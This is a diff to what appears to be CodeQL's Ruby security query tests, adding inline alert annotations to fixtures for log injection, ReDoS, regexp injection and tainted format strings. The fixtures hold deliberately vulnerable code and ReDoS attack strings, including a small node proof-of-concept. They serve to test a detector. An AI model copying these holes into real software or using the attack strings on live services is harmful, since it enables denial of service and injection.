-12,9 +12,9 @@ class UsersController < ApplicationController def read_from_params init_logger - unsanitized = params[:foo] - @logger.debug unsanitized # BAD: unsanitized user input - @logger.error "input: " + unsanitized # BAD: unsanitized user input + unsanitized = params[:foo] # $ Source + @logger.debug unsanitized # $ Alert // BAD: unsanitized user input + @logger.error "input: " + unsanitized # $ Alert // BAD: unsanitized user input sanitized = unsanitized.gsub("\n", "") @logger.fatal sanitized # GOOD: sanitized user input @@ -22,17 +22,17 @@ class UsersController < ApplicationController unsanitized2 = unsanitized.sub("\n", "") @logger.info do - unsanitized2 # BAD: partially sanitized user input + unsanitized2 # $ Alert // BAD: partially sanitized user input end - @logger << "input: " + unsanitized2 # BAD: partially sanitized user input + @logger << "input: " + unsanitized2 # $ Alert // BAD: partially sanitized user input end def read_from_cookies init_logger - unsanitized = cookies[:bar] - @logger.add(Logger::INFO) { unsanitized } # BAD: unsanitized user input - @logger.log(Logger::WARN) { "input: " + unsanitized } # BAD: unsanitized user input + unsanitized = cookies[:bar] # $ Source + @logger.add(Logger::INFO) { unsanitized } # $ Alert // BAD: unsanitized user input + @logger.log(Logger::WARN) { "input: " + unsanitized } # $ Alert // BAD: unsanitized user input end def html_sanitization @@ -46,7 +46,7 @@ class UsersController < ApplicationController def inspect_sanitization init_logger - @logger.debug params[:foo] # BAD: unsanitized user input + @logger.debug params[:foo] # $ Alert // BAD: unsanitized user input @logger.debug params[:foo].inspect # GOOD: sanitized user input end end diff --git a/ruby/ql/test/query-tests/security/cwe-1333-exponential-redos/ReDoS.qlref b/ruby/ql/test/query-tests/security/cwe-1333-exponential-redos/ReDoS.qlref index 7f4557181d7..12b80689587 100644 --- a/ruby/ql/test/query-tests/security/cwe-1333-exponential-redos/ReDoS.qlref +++ b/ruby/ql/test/query-tests/security/cwe-1333-exponential-redos/ReDoS.qlref @@ -1 +1,2 @@ -queries/security/cwe-1333/ReDoS.ql +query: queries/security/cwe-1333/ReDoS.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-1333-exponential-redos/tst.rb b/ruby/ql/test/query-tests/security/cwe-1333-exponential-redos/tst.rb index 450d330dc92..8f45aff3c45 100644 --- a/ruby/ql/test/query-tests/security/cwe-1333-exponential-redos/tst.rb +++ b/ruby/ql/test/query-tests/security/cwe-1333-exponential-redos/tst.rb @@ -1,7 +1,7 @@ # NOT GOOD; attack: "_" + "__".repeat(100) # Adapted from marked (https://github.com/markedjs/marked), which is licensed # under the MIT license; see file marked-LICENSE. -bad1 = /^\b_((?:__|[\s\S])+?)_\b|^\*((?:\*\*|[\s\S])+?)\*(?!\*)/ +bad1 = /^\b_((?:__|[\s\S])+?)_\b|^\*((?:\*\*|[\s\S])+?)\*(?!\*)/ # $ Alert # GOOD # Adapted from marked (https://github.com/markedjs/marked), which is licensed @@ -16,7 +16,7 @@ good2 = /(.*,)+.+/ # NOT GOOD; attack: " '" + "\\\\".repeat(100) # Adapted from CodeMirror (https://github.com/codemirror/codemirror), # which is licensed under the MIT license; see file CodeMirror-LICENSE. -bad2 = /^(?:\s+(?:"(?:[^"\\]|\\\\|\\.)+"|'(?:[^'\\]|\\\\|\\.)+'|\((?:[^)\\]|\\\\|\\.)+\)))?/ +bad2 = /^(?:\s+(?:"(?:[^"\\]|\\\\|\\.)+"|'(?:[^'\\]|\\\\|\\.)+'|\((?:[^)\\]|\\\\|\\.)+\)))?/ # $ Alert # GOOD # Adapted from lulucms2 (https://github.com/yiifans/lulucms2). @@ -28,89 +28,89 @@ good2 = /\(\*(?:[\s\S]*?\(\*[\s\S]*?\*\))*[\s\S]*?\*\)/ good3 = /^ *(\S.*\|.*)\n *([-:]+ *\|[-| :]*)\n((?:.*\|.*(?:\n|$))*)\n*/ # NOT GOOD, variant of good3; attack: "a|\n:|\n" + "||\n".repeat(100) -bad4 = /^ *(\S.*\|.*)\n *([-:]+ *\|[-| :]*)\n((?:.*\|.*(?:\n|$))*)a/ +bad4 = /^ *(\S.*\|.*)\n *([-:]+ *\|[-| :]*)\n((?:.*\|.*(?:\n|$))*)a/ # $ Alert # NOT GOOD; attack: "/" + "\\/a".repeat(100) # Adapted from ANodeBlog (https://github.com/gefangshuai/ANodeBlog), # which is licensed under the Apache License 2.0; see file ANodeBlog-LICENSE. -bad5 = /\/(?![ *])(\\\/|.)*?\/[gim]*(?=\W|$)/ +bad5 = /\/(?![ *])(\\\/|.)*?\/[gim]*(?=\W|$)/ # $ Alert # NOT GOOD; attack: "##".repeat(100) + "\na" # Adapted from CodeMirror (https://github.com/codemirror/codemirror), # which is licensed under the MIT license; see file CodeMirror-LICENSE. -bad6 = /^([\s\[\{\(]|#.*)*$/ +bad6 = /^([\s\[\{\(]|#.*)*$/ # $ Alert # GOOD good4 = /(\r\n|\r|\n)+/ # BAD - PoC: `node -e "/((?:[^\"\']|\".*?\"|\'.*?\')*?)([(,)]|$)/.test(\"'''''''''''''''''''''''''''''''''''''''''''''\\\"\");"`. It's complicated though, because the regexp still matches something, it just matches the empty-string after the attack string. -actuallyBad = /((?:[^"']|".*?"|'.*?')*?)([(,)]|$)/ +actuallyBad = /((?:[^"']|".*?"|'.*?')*?)([(,)]|$)/ # $ Alert # NOT GOOD; attack: "a" + "[]".repeat(100) + ".b\n" # Adapted from Knockout (https://github.com/knockout/knockout), which is # licensed under the MIT license; see file knockout-LICENSE -bad6 = /^[\_$a-z][\_$a-z0-9]*(\[.*?\])*(\.[\_$a-z][\_$a-z0-9]*(\[.*?\])*)*$/i +bad6 = /^[\_$a-z][\_$a-z0-9]*(\[.*?\])*(\.[\_$a-z][\_$a-z0-9]*(\[.*?\])*)*$/i # $ Alert # GOOD good6 = /(a|.)*/ # Testing the NFA - only some of the below are detected. -bad7 = /^([a-z]+)+$/ -bad8 = /^([a-z]*)*$/ -bad9 = /^([a-zA-Z0-9])(([\\.-]|[_]+)?([a-zA-Z0-9]+))*(@){1}[a-z0-9]+[.]{1}(([a-z]{2,3})|([a-z]{2,3}[.]{1}[a-z]{2,3}))$/ -bad10 = /^(([a-z])+.)+[A-Z]([a-z])+$/ +bad7 = /^([a-z]+)+$/ # $ Alert +bad8 = /^([a-z]*)*$/ # $ Alert +bad9 = /^([a-zA-Z0-9])(([\\.-]|[_]+)?([a-zA-Z0-9]+))*(@){1}[a-z0-9]+[.]{1}(([a-z]{2,3})|([a-z]{2,3}[.]{1}[a-z]{2,3}))$/ # $ Alert +bad10 = /^(([a-z])+.)+[A-Z]([a-z])+$/ # $ Alert # NOT GOOD; attack: "[" + "][".repeat(100) + "]!" # Adapted from Prototype.js (https://github.com/prototypejs/prototype), which # is licensed under the MIT license; see file Prototype.js-LICENSE. -bad11 = /(([\w#:.~>+()\s-]+|\*|\[.*?\])+)\s*(,|$)/ +bad11 = /(([\w#:.~>+()\s-]+|\*|\[.*?\])+)\s*(,|$)/ # $ Alert # NOT GOOD; attack: "'" + "\\a".repeat(100) + '"' # Adapted from Prism (https://github.com/PrismJS/prism), which is licensed # under the MIT license; see file Prism-LICENSE. -bad12 = /("|')(\\?.)*?\1/ +bad12 = /("|')(\\?.)*?\1/ # $ Alert # NOT GOOD -bad13 = /(b|a?b)*c/ +bad13 = /(b|a?b)*c/ # $ Alert # NOT GOOD -bad15 = /(a|aa?)*b/ +bad15 = /(a|aa?)*b/ # $ Alert # GOOD good7 = /(.|\n)*!/ # NOT GOOD; attack: "\n".repeat(100) + "." -bad16 = /(.|\n)*!/m +bad16 = /(.|\n)*!/m # $ Alert # GOOD good8 = /([\w.]+)*/ # NOT GOOD -bad17 = Regexp.new '(a|aa?)*b' +bad17 = Regexp.new '(a|aa?)*b' # $ Alert # GOOD - not used as regexp good9 = '(a|aa?)*b' # NOT GOOD -bad18 = /(([\S\s]|[^a])*)"/ +bad18 = /(([\S\s]|[^a])*)"/ # $ Alert # GOOD - there is no witness in the end that could cause the regexp to not match good10 = /([^"']+)*/ # NOT GOOD -bad20 = /((.|[^a])*)"/ +bad20 = /((.|[^a])*)"/ # $ Alert # GOOD good10 = /((a|[^a])*)"/ # NOT GOOD -bad21 = /((b|[^a])*)"/ +bad21 = /((b|[^a])*)"/ # $ Alert # NOT GOOD -bad22 = /((G|[^a])*)"/ +bad22 = /((G|[^a])*)"/ # $ Alert # NOT GOOD -bad23 = /(([0-9]|[^a])*)"/ +bad23 = /(([0-9]|[^a])*)"/ # $ Alert # BAD - missing result bad24 = /(?:=(?:([!#\$%&'\*\+\-\.\^_`\|~0-9A-Za-z]+)|"((?:\\[\x00-\x7f]|[^\x00-\x08\x0a-\x1f\x7f"])*)"))?/ @@ -122,55 +122,55 @@ bad25 = /"((?:\\[\x00-\x7f]|[^\x00-\x08\x0a-\x1f\x7f"])*)"/ bad26 = /"((?:\\[\x00-\x7f]|[^\x00-\x08\x0a-\x1f\x7f"\\])*)"/ # NOT GOOD -bad27 = /(([a-z]|[d-h])*)"/ +bad27 = /(([a-z]|[d-h])*)"/ # $ Alert # NOT GOOD -bad27 = /(([^a-z]|[^0-9])*)"/ +bad27 = /(([^a-z]|[^0-9])*)"/ # $ Alert # NOT GOOD -bad28 = /((\d|[0-9])*)"/ +bad28 = /((\d|[0-9])*)"/ # $ Alert # NOT GOOD -bad29 = /((\s|\s)*)"/ +bad29 = /((\s|\s)*)"/ # $ Alert # NOT GOOD -bad30 = /((\w|G)*)"/ +bad30 = /((\w|G)*)"/ # $ Alert # GOOD good11 = /((\s|\d)*)"/ # NOT GOOD -bad31 = /((\d|\w)*)"/ +bad31 = /((\d|\w)*)"/ # $ Alert # NOT GOOD -bad32 = /((\d|5)*)"/ +bad32 = /((\d|5)*)"/ # $ Alert # BAD - \f is not handled correctly -bad33 = /((\s|[\f])*)"/ +bad33 = /((\s|[\f])*)"/ # $ Alert # BAD - \v is not handled correctly -bad34 = /((\s|[\v]|\\v)*)"/ +bad34 = /((\s|[\v]|\\v)*)"/ # $ Alert # NOT GOOD -bad35 = /((\f|[\f])*)"/ +bad35 = /((\f|[\f])*)"/ # $ Alert # NOT GOOD -bad36 = /((\W|\D)*)"/ +bad36 = /((\W|\D)*)"/ # $ Alert # NOT GOOD -bad37 = /((\S|\w)*)"/ +bad37 = /((\S|\w)*)"/ # $ Alert # NOT GOOD -bad38 = /((\S|[\w])*)"/ +bad38 = /((\S|[\w])*)"/ # $ Alert # NOT GOOD -bad39 = /((1s|[\da-z])*)"/ +bad39 = /((1s|[\da-z])*)"/ # $ Alert # NOT GOOD -bad40 = /((0|[\d])*)"/ +bad40 = /((0|[\d])*)"/ # $ Alert # NOT GOOD -bad41 = /(([\d]+)*)"/ +bad41 = /(([\d]+)*)"/ # $ Alert # GOOD - there is no witness in the end that could cause the regexp to not match good12 = /(\d+(X\d+)?)+/ @@ -182,49 +182,49 @@ good13 = /([0-9]+(X[0-9]*)?)*/ good15 = /^([^>]+)*(>|$)/ # NOT GOOD -bad43 = /^([^>a]+)*(>|$)/ +bad43 = /^([^>a]+)*(>|$)/ # $ Alert # NOT GOOD -bad44 = /(\n\s*)+$/ +bad44 = /(\n\s*)+$/ # $ Alert # NOT GOOD -bad45 = /^(?:\s+|#.*|\(\?#[^)]*\))*(?:[?*+]|{\d+(?:,\d*)?})/ +bad45 = /^(?:\s+|#.*|\(\?#[^)]*\))*(?:[?*+]|{\d+(?:,\d*)?})/ # $ Alert # NOT GOOD -bad46 = /\{\[\s*([a-zA-Z]+)\(([a-zA-Z]+)\)((\s*([a-zA-Z]+)\: ?([ a-zA-Z{}]+),?)+)*\s*\]\}/ +bad46 = /\{\[\s*([a-zA-Z]+)\(([a-zA-Z]+)\)((\s*([a-zA-Z]+)\: ?([ a-zA-Z{}]+),?)+)*\s*\]\}/ # $ Alert # NOT GOOD -bad47 = /(a+|b+|c+)*c/ +bad47 = /(a+|b+|c+)*c/ # $ Alert # NOT GOOD -bad48 = /(((a+a?)*)+b+)/ +bad48 = /(((a+a?)*)+b+)/ # $ Alert # NOT GOOD -bad49 = /(a+)+bbbb/ +bad49 = /(a+)+bbbb/ # $ Alert # GOOD good16 = /(a+)+aaaaa*a+/ # NOT GOOD -bad50 = /(a+)+aaaaa$/ +bad50 = /(a+)+aaaaa$/ # $ Alert # GOOD good17 = /(\n+)+\n\n/ # NOT GOOD -bad51 = /(\n+)+\n\n$/ +bad51 = /(\n+)+\n\n$/ # $ Alert # NOT GOOD -bad52 = /([^X]+)*$/ +bad52 = /([^X]+)*$/ # $ Alert # NOT GOOD -bad53 = /(([^X]b)+)*$/ +bad53 = /(([^X]b)+)*$/ # $ Alert # GOOD good18 = /(([^X]b)+)*($|[^X]b)/ # NOT GOOD -bad54 = /(([^X]b)+)*($|[^X]c)/ +bad54 = /(([^X]b)+)*($|[^X]c)/ # $ Alert # GOOD good20 = /((ab)+)*ababab/ @@ -236,13 +236,13 @@ good21 = /((ab)+)*abab(ab)*(ab)+/ good22 = /((ab)+)*/ # NOT GOOD -bad55 = /((ab)+)*$/ +bad55 = /((ab)+)*$/ # $ Alert # GOOD good23 = /((ab)+)*[a1][b1][a2][b2][a3][b3]/ # NOT GOOD -bad56 = /([\n\s]+)*(.)/ +bad56 = /([\n\s]+)*(.)/ # $ Alert # GOOD - any witness passes through the accept state. good24 = /(A*A*X)*/ @@ -251,13 +251,13 @@ good24 = /(A*A*X)*/ good26 = /([^\\\]]+)*/ # NOT GOOD -bad59 = /(\w*foobarbaz\w*foobarbaz\w*foobarbaz\w*foobarbaz\s*foobarbaz\d*foobarbaz\w*)+-/ +bad59 = /(\w*foobarbaz\w*foobarbaz\w*foobarbaz\w*foobarbaz\s*foobarbaz\d*foobarbaz\w*)+-/ # $ Alert # NOT GOOD -bad60 = /(.thisisagoddamnlongstringforstresstestingthequery|\sthisisagoddamnlongstringforstresstestingthequery)*-/ +bad60 = /(.thisisagoddamnlongstringforstresstestingthequery|\sthisisagoddamnlongstringforstresstestingthequery)*-/ # $ Alert # NOT GOOD -bad61 = /(thisisagoddamnlongstringforstresstestingthequery|this\w+query)*-/ +bad61 = /(thisisagoddamnlongstringforstresstestingthequery|this\w+query)*-/ # $ Alert # GOOD good27 = /(thisisagoddamnlongstringforstresstestingthequery|imanotherbutunrelatedstringcomparedtotheotherstring)*-/ @@ -269,58 +269,58 @@ good27 = /(thisisagoddamnlongstringforstresstestingthequery|imanotherbutunrelate #good29 = /foo((\uDC66|\uDC67)|(\uDC68|\uDC69))*foo/ # NOT GOOD (but cannot currently construct a prefix) -bad62 = /a{2,3}(b+)+X/ +bad62 = /a{2,3}(b+)+X/ # $ Alert # NOT GOOD (and a good prefix test) -bad63 = /^<(\w+)((?:\s+\w+(?:\s*=\s*(?:(?:"[^"]*")|(?:'[^']*')|[^>\s]+))?)*)\s*(\/?)>/ +bad63 = /^<(\w+)((?:\s+\w+(?:\s*=\s*(?:(?:"[^"]*")|(?:'[^']*')|[^>\s]+))?)*)\s*(\/?)>/ # $ Alert # GOOD good30 = /(a+)*[\S\s][\S\s][\S\s]?/ # GOOD - but we fail to see that repeating the attack string ends in the "accept any" state (due to not parsing the range `[^]{2,3}`). -good31 = /(a+)*[\S\s]{2,3}/ +good31 = /(a+)*[\S\s]{2,3}/ # $ Alert # GOOD - but we spuriously conclude that a rejecting suffix exists (due to not parsing the range `[^]{2,}` when constructing the NFA). -good32 = /(a+)*([\S\s]{2,}|X)$/ +good32 = /(a+)*([\S\s]{2,}|X)$/ # $ Alert # GOOD good33 = /(a+)*([\S\s]*|X)$/ # NOT GOOD -bad64 = /((a+)*$|[\S\s]+)/ +bad64 = /((a+)*$|[\S\s]+)/ # $ Alert # GOOD - but still flagged. The only change compared to the above is the order of alternatives, which we don't model. -good34 = /([\S\s]+|(a+)*$)/ +good34 = /([\S\s]+|(a+)*$)/ # $ Alert # GOOD good35 = /((;|^)a+)+$/ # NOT GOOD (a good prefix test) -bad65 = /(^|;)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(e+)+f/ +bad65 = /(^|;)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(e+)+f/ # $ Alert # NOT GOOD -bad66 = /^ab(c+)+$/ +bad66 = /^ab(c+)+$/ # $ Alert # NOT GOOD -bad67 = /(\d(\s+)*){20}/ +bad67 = /(\d(\s+)*){20}/ # $ Alert # GOOD - but we spuriously conclude that a rejecting suffix exists. -good36 = /(([^\/]|X)+)(\/[\S\s]*)*$/ +good36 = /(([^\/]|X)+)(\/[\S\s]*)*$/ # $ Alert # GOOD - but we spuriously conclude that a rejecting suffix exists. -good37 = /^((x([^Y]+)?)*(Y|$))/ +good37 = /^((x([^Y]+)?)*(Y|$))/ # $ Alert # NOT GOOD -bad68 = /(a*)+b/ +bad68 = /(a*)+b/ # $ Alert # NOT GOOD -bad69 = /foo([\w-]*)+bar/ +bad69 = /foo([\w-]*)+bar/ # $ Alert # NOT GOOD -bad70 = /((ab)*)+c/ +bad70 = /((ab)*)+c/ # $ Alert # NOT GOOD -bad71 = /(a?a?)*b/ +bad71 = /(a?a?)*b/ # $ Alert # GOOD good38 = /(a?)*b/ @@ -329,54 +329,54 @@ good38 = /(a?)*b/ bad72 = /(c?a?)*b/ # NOT GOOD -bad73 = /(?:a|a?)+b/ +bad73 = /(?:a|a?)+b/ # $ Alert # NOT GOOD - but not detected. bad74 = /(a?b?)*$/ # NOT GOOD -bad76 = /PRE(([a-c]|[c-d])T(e?e?e?e?|X))+(cTcT|cTXcTX$)/ +bad76 = /PRE(([a-c]|[c-d])T(e?e?e?e?|X))+(cTcT|cTXcTX$)/ # $ Alert # NOT GOOD - but not detected -bad77 = /^((a)+\w)+$/ +bad77 = /^((a)+\w)+$/ # $ Alert # NOT GOOD -bad78 = /^(b+.)+$/ +bad78 = /^(b+.)+$/ # $ Alert # GOOD good39 = /a*b/ # All 4 bad combinations of nested * and + -bad79 = /(a*)*b/ -bad80 = /(a+)*b/ -bad81 = /(a*)+b/ -bad82 = /(a+)+b/ +bad79 = /(a*)*b/ # $ Alert +bad80 = /(a+)*b/ # $ Alert +bad81 = /(a*)+b/ # $ Alert +bad82 = /(a+)+b/ # $ Alert # GOOD good40 = /(a|b)+/ good41 = /(?:[\s;,"'<>(){}|\[\]@=+*]|:(?![\/\\]))+/ # NOT GOOD -bad83 = /^((?:a{|-)|\w\{)+X$/ -bad84 = /^((?:a{0|-)|\w\{\d)+X$/ -bad85 = /^((?:a{0,|-)|\w\{\d,)+X$/ -bad86 = /^((?:a{0,2|-)|\w\{\d,\d)+X$/ +bad83 = /^((?:a{|-)|\w\{)+X$/ # $ Alert +bad84 = /^((?:a{0|-)|\w\{\d)+X$/ # $ Alert +bad85 = /^((?:a{0,|-)|\w\{\d,)+X$/ # $ Alert +bad86 = /^((?:a{0,2|-)|\w\{\d,\d)+X$/ # $ Alert # NOT GOOD bad87 = /^((?:a{0,2}|-)|\w\{\d,\d\})+X$/ # NOT GOOD -bad88 = /^X(\u0061|a)*Y$/ +bad88 = /^X(\u0061|a)*Y$/ # $ Alert # GOOD good43 = /^X(\u0061|b)+Y$/ # NOT GOOD -bad88 = /X([[:digit:]]|\d)+Y/ +bad88 = /X([[:digit:]]|\d)+Y/ # $ Alert # NOT GOOD -bad89 = /\G(a|\w)*$/ -bad90 = /\b(a|\w)*$/ +bad89 = /\G(a|\w)*$/ # $ Alert +bad90 = /\b(a|\w)*$/ # $ Alert # NOT GOOD; attack: "0".repeat(30) + "!" # Adapated from addressable (https://github.com/sporkmonger/addressable) @@ -387,5 +387,5 @@ module Bad91 var_char_class = ALPHA + DIGIT + '_' var_char = "(?:(?:[#{var_char_class}]|%[a-fA-F0-9][a-fA-F0-9])+)" var = "(?:#{var_char}(?:\\.?#{var_char})*)" - bad91 = /^#{var}$/ + bad91 = /^#{var}$/ # $ Alert end diff --git a/ruby/ql/test/query-tests/security/cwe-1333-polynomial-redos/PolynomialReDoS.qlref b/ruby/ql/test/query-tests/security/cwe-1333-polynomial-redos/PolynomialReDoS.qlref index 5807dc56fa0..28e7aa93906 100644 --- a/ruby/ql/test/query-tests/security/cwe-1333-polynomial-redos/PolynomialReDoS.qlref +++ b/ruby/ql/test/query-tests/security/cwe-1333-polynomial-redos/PolynomialReDoS.qlref @@ -1 +1,2 @@ -queries/security/cwe-1333/PolynomialReDoS.ql +query: queries/security/cwe-1333/PolynomialReDoS.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-1333-polynomial-redos/PolynomialReDoS.rb b/ruby/ql/test/query-tests/security/cwe-1333-polynomial-redos/PolynomialReDoS.rb index 2f73209321f..249b686fd33 100644 --- a/ruby/ql/test/query-tests/security/cwe-1333-polynomial-redos/PolynomialReDoS.rb +++ b/ruby/ql/test/query-tests/security/cwe-1333-polynomial-redos/PolynomialReDoS.rb @@ -1,35 +1,35 @@ class FooController < ActionController::Base def some_request_handler # A source for the data-flow query (i.e. a remote flow source) - name = params[:name] + name = params[:name] # $ Source # A vulnerable regex regex = /^\s+|\s+$/ # Various sinks that match the source against the regex - name =~ regex # NOT GOOD - name !~ regex # NOT GOOD - name[regex] # NOT GOOD - name.gsub regex, '' # NOT GOOD - name.index regex # NOT GOOD - name.match regex # NOT GOOD - name.match? regex # NOT GOOD - name.partition regex # NOT GOOD - name.rindex regex # NOT GOOD - name.rpartition regex # NOT GOOD - name.scan regex # NOT GOOD - name.split regex # NOT GOOD - name.sub regex, '' # NOT GOOD - regex.match name # NOT GOOD - regex.match? name # NOT GOOD + name =~ regex # $ Alert // NOT GOOD + name !~ regex # $ Alert // NOT GOOD + name[regex] # $ Alert // NOT GOOD + name.gsub regex, '' # $ Alert // NOT GOOD + name.index regex # $ Alert // NOT GOOD + name.match regex # $ Alert // NOT GOOD + name.match? regex # $ Alert // NOT GOOD + name.partition regex # $ Alert // NOT GOOD + name.rindex regex # $ Alert // NOT GOOD + name.rpartition regex # $ Alert // NOT GOOD + name.scan regex # $ Alert // NOT GOOD + name.split regex # $ Alert // NOT GOOD + name.sub regex, '' # $ Alert // NOT GOOD + regex.match name # $ Alert // NOT GOOD + regex.match? name # $ Alert // NOT GOOD # Destructive variants - a = params[:b] - a.gsub! regex, '' # NOT GOOD - b = params[:a] - b.slice! regex # NOT GOOD - c = params[:c] - c.sub! regex, '' # NOT GOOD + a = params[:b] # $ Source + a.gsub! regex, '' # $ Alert // NOT GOOD + b = params[:a] # $ Source + b.slice! regex # $ Alert // NOT GOOD + c = params[:c] # $ Source + c.sub! regex, '' # $ Alert // NOT GOOD # GOOD - guarded by a string length check if name.length < 1024 @@ -39,19 +39,19 @@ class FooController < ActionController::Base # GOOD - regex does not suffer from polynomial backtracking (regression test) params[:foo] =~ /\A[bc].*\Z/ - case name # NOT GOOD + case name # $ Sink // NOT GOOD when regex puts "foo" - end + end # $ Alert - case name # NOT GOOD + case name # $ Sink // NOT GOOD in /^\s+|\s+$/ then puts "foo" - end + end # $ Alert end def some_other_request_handle - name = params[:name] # source + name = params[:name] # $ Source // source indirect_use_of_reg /^\s+|\s+$/, name @@ -59,22 +59,22 @@ class FooController < ActionController::Base end def indirect_use_of_reg (reg, input) - input.gsub reg, '' # NOT GOOD + input.gsub reg, '' # $ Alert // NOT GOOD end def as_string_indirect (reg_as_string, input) - input.match? reg_as_string, '' # NOT GOOD + input.match? reg_as_string, '' # $ Alert // NOT GOOD end def re_compile_indirect - name = params[:name] # source + name = params[:name] # $ Source // source reg = Regexp.new '^\s+|\s+$' re_compile_indirect_2 reg, name end def re_compile_indirect_2 (reg, input) - input.gsub reg, '' # NOT GOOD + input.gsub reg, '' # $ Alert // NOT GOOD end # See https://github.com/dependabot/dependabot-core/blob/37dc1767fde9b7184020763f4d0c1434f93d11d6/python/lib/dependabot/python/requirement_parser.rb#L6-L25 @@ -100,8 +100,8 @@ class FooController < ActionController::Base MARKER_EXPR = /(#{MARKER_EXPR_ONE}|\(\s*|\s*\)|\s+and\s+|\s+or\s+)+/ def use_marker_expr - name = params[:name] # source + name = params[:name] # $ Source // source - name =~ MARKER_EXPR + name =~ MARKER_EXPR # $ Alert end end diff --git a/ruby/ql/test/query-tests/security/cwe-1333-polynomial-redos/lib/index.rb b/ruby/ql/test/query-tests/security/cwe-1333-polynomial-redos/lib/index.rb index b6bf9570f4d..e24e128fee2 100644 --- a/ruby/ql/test/query-tests/security/cwe-1333-polynomial-redos/lib/index.rb +++ b/ruby/ql/test/query-tests/security/cwe-1333-polynomial-redos/lib/index.rb @@ -1,13 +1,13 @@ module Foo - def bar(x) + def bar(x) # $ Source # Run the /a+$/ regex on the input x. - match = x.match(/a+$/) + match = x.match(/a+$/) # $ Alert end protected - def baz(x) - match = x.match(/a+$/) + def baz(x) # $ Source + match = x.match(/a+$/) # $ Alert - match2 = x.match(/(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)C.*Y$/) + match2 = x.match(/(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)C.*Y$/) # $ Alert end -end \ No newline at end of file +end diff --git a/ruby/ql/test/query-tests/security/cwe-1333-regexp-injection/RegExpInjection.qlref b/ruby/ql/test/query-tests/security/cwe-1333-regexp-injection/RegExpInjection.qlref index 11c9e723026..2623c876bf6 100644 --- a/ruby/ql/test/query-tests/security/cwe-1333-regexp-injection/RegExpInjection.qlref +++ b/ruby/ql/test/query-tests/security/cwe-1333-regexp-injection/RegExpInjection.qlref @@ -1 +1,2 @@ -queries/security/cwe-1333/RegExpInjection.ql +query: queries/security/cwe-1333/RegExpInjection.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-1333-regexp-injection/RegExpInjection.rb b/ruby/ql/test/query-tests/security/cwe-1333-regexp-injection/RegExpInjection.rb index aca47e42e60..469c084a75b 100644 --- a/ruby/ql/test/query-tests/security/cwe-1333-regexp-injection/RegExpInjection.rb +++ b/ruby/ql/test/query-tests/security/cwe-1333-regexp-injection/RegExpInjection.rb @@ -1,26 +1,26 @@ class FooController < ActionController::Base # BAD def route0 - name = params[:name] - regex = /#{name}/ + name = params[:name] # $ Source + regex = /#{name}/ # $ Alert end # BAD def route1 - name = params[:name] - regex = /foo#{name}bar/ + name = params[:name] # $ Source + regex = /foo#{name}bar/ # $ Alert end # BAD def route2 - name = params[:name] - regex = Regexp.new(name) + name = params[:name] # $ Source + regex = Regexp.new(name) # $ Alert end # BAD def route3 - name = params[:name] - regex = Regexp.new("@" + name) + name = params[:name] # $ Source + regex = Regexp.new("@" + name) # $ Alert end # GOOD - string is compared against a constant string @@ -51,7 +51,7 @@ class FooController < ActionController::Base # BAD def route8 - name = params[:name] - regex = Regexp.compile("@" + name) + name = params[:name] # $ Source + regex = Regexp.compile("@" + name) # $ Alert end end diff --git a/ruby/ql/test/query-tests/security/cwe-134/TaintedFormatString.qlref b/ruby/ql/test/query-tests/security/cwe-134/TaintedFormatString.qlref index c8e1c80ec40..f688cc3f7e3 100644 --- a/ruby/ql/test/query-tests/security/cwe-134/TaintedFormatString.qlref +++ b/ruby/ql/test/query-tests/security/cwe-134/TaintedFormatString.qlref @@ -1 +1,2 @@ -queries/security/cwe-134/TaintedFormatString.ql +query: queries/security/cwe-134/TaintedFormatString.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-134/tainted_format_string.rb b/ruby/ql/test/query-tests/security/cwe-134/tainted_format_string.rb index aa66a9aa470..fb21b61c14f 100644 --- a/ruby/ql/test/query-tests/security/cwe-134/tainted_format_string.rb +++ b/ruby/ql/test/query-tests/security/cwe-134/tainted_format_string.rb @@ -1,44 +1,44 @@ class UsersController < ActionController::Base def show - printf(params[:format], arg) # BAD - Kernel.printf(params[:format], arg) # BAD + printf(params[:format], arg) # $ Alert // BAD + Kernel.printf(params[:format], arg) # $ Alert // BAD printf(params[:format]) # GOOD Kernel.printf(params[:format]) # GOOD - printf(IO.new(1), params[:format], arg) # BAD - Kernel.printf(IO.new(1), params[:format], arg) # BAD + printf(IO.new(1), params[:format], arg) # $ Alert // BAD + Kernel.printf(IO.new(1), params[:format], arg) # $ Alert // BAD printf("%s", params[:format]) # GOOD Kernel.printf("%s", params[:format]) # GOOD fmt = "%s" printf(fmt, params[:format]) # GOOD - printf(IO.new(1), params[:format]) # GOOD [FALSE POSITIVE] - Kernel.printf(IO.new(1), params[:format]) # GOOD [FALSE POSITIVE] + printf(IO.new(1), params[:format]) # $ Alert // GOOD [FALSE POSITIVE] + Kernel.printf(IO.new(1), params[:format]) # $ Alert // GOOD [FALSE POSITIVE] - str1 = Kernel.sprintf(params[:format], arg) # BAD - str2 = sprintf(params[:format], arg) # BAD + str1 = Kernel.sprintf(params[:format], arg) # $ Alert // BAD + str2 = sprintf(params[:format], arg) # $ Alert // 